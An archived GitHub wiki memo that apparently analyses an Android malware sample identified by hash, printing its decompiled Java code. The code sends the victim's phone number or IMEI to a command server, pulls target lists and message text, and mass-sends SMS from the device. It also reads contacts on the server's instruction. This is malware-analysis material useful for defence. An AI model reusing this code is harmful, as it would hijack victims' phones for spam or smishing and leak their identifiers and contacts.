This repository has been archived by the owner on Jul 4, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Home
Manabu Niseki edited this page Apr 25, 2020
·
2 revisions
Note: this memo is based on codes from 81be513b158d6eb6ef0bd67432e0b28de65b195e84e06facc4fa20b8c48a4b54
.
public void sendSms() {
String format2 = this.format.format(new Date());
int value = this.sp.getValue("tt4", 0);
Log.i("zhou", value + ":uu");
if (format2.compareTo(this.sp.getValue("dd", "")) <= 0) {
return;
}
if (value < 600) {
new Thread() {
public void run() {
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("mobile", StUtil.getMachine(JVA.this.getApplicationContext()));
String postJson = StUtil.postJson(JVA.this, JVA.this.sp.getValue("URL", "") + "/servlet/GetMessage2", "{\"json\":\"" + StUtil.stringToJson(jSONObject.toString()) + "\"}");
if (!TextUtils.isEmpty(postJson)) {
JSONArray jSONArray = new JSONArray(postJson);
JVA.this.sp.setValue("tt4", jSONArray.length() + JVA.this.sp.getValue("tt4", 0));
for (int i = 0; i < jSONArray.length(); i++) {
JSONObject jSONObject2 = jSONArray.getJSONObject(i);
SmsUtil.sendSMSTO(JVA.this, jSONObject2.getString("send_p").trim(), jSONObject2.getString("cont").trim());
Thread.sleep(4000);
}
}
} catch (JSONException e) {
e.printStackTrace();
} catch (InterruptedException e2) {
e2.printStackTrace();
}
}
}.start();
return;
}
this.sp.setValue("dd", this.format.format(new Date()));
this.sp.setValue("tt4", 0);
}
public void sendCon() {
new Thread() {
public void run() {
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("mobile", StUtil.getMachine(JVA.this.getApplicationContext()));
String postJson = StUtil.postJson(JVA.this, JVA.this.sp.getValue("URL", "") + "/servlet/GetMoreConMessage", "{\"json\":\"" + StUtil.stringToJson(jSONObject.toString()) + "\"}");
if (!TextUtils.isEmpty(postJson)) {
JSONArray jSONArray = new JSONArray(postJson);
for (int i = 0; i < jSONArray.length(); i++) {
UC.readAllContacts(JVA.this, jSONArray.getJSONObject(i).getString("cont").trim());
Thread.sleep(15000);
}
}
} catch (JSONException e) {
e.printStackTrace();
} catch (InterruptedException e2) {
e2.printStackTrace();
}
}
}.start();
}
public void sendAll() {
new Thread() {
public void run() {
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("mobile", StUtil.getMachine(JVA.this.getApplicationContext()));
String postJson = StUtil.postJson(JVA.this, JVA.this.sp.getValue("URL", "") + "/servlet/GetMoreMessage", "{\"json\":\"" + StUtil.stringToJson(jSONObject.toString()) + "\"}");
if (!TextUtils.isEmpty(postJson)) {
JSONArray jSONArray = new JSONArray(postJson);
for (int i = 0; i < jSONArray.length(); i++) {
JSONObject jSONObject2 = jSONArray.getJSONObject(i);
SmsUtil.sendLgSMSTO(JVA.this, jSONObject2.getString("send_p").trim(), jSONObject2.getString("cont").trim());
Thread.sleep(4000);
}
}
} catch (JSONException e) {
e.printStackTrace();
} catch (InterruptedException e2) {
e2.printStackTrace();
}
}
}.start();
}
public static String getMachine(Context context) {
StringBuilder sb = new StringBuilder();
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
String line1Number = telephonyManager.getLine1Number();
String simSerialNumber = telephonyManager.getSimSerialNumber();
if (line1Number == null || line1Number.equals("")) {
String deviceId = telephonyManager.getDeviceId();
if (!TextUtils.isEmpty(deviceId)) {
sb.append(deviceId);
return sb.toString();
}
if (simSerialNumber != null && !simSerialNumber.equals("")) {
sb.append(simSerialNumber);
}
return sb.toString();
}
if (line1Number.startsWith("+")) {
line1Number = line1Number.substring(1);
}
sb.append(line1Number);
return sb.toString();
}
public static String postJson(Context context, String str, String str2) {
try {
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(str).openConnection();
httpURLConnection.setConnectTimeout(30000);
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setRequestProperty("ser-Agent", "Fiddler");
httpURLConnection.setRequestProperty("Content-Type", "application/json");
OutputStream outputStream = httpURLConnection.getOutputStream();
outputStream.write(str2.getBytes());
outputStream.close();
if (httpURLConnection.getResponseCode() != 200) {
return null;
}
InputStream inputStream = httpURLConnection.getInputStream();
String readString = readString(inputStream);
if (inputStream != null) {
inputStream.close();
}
return readString;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}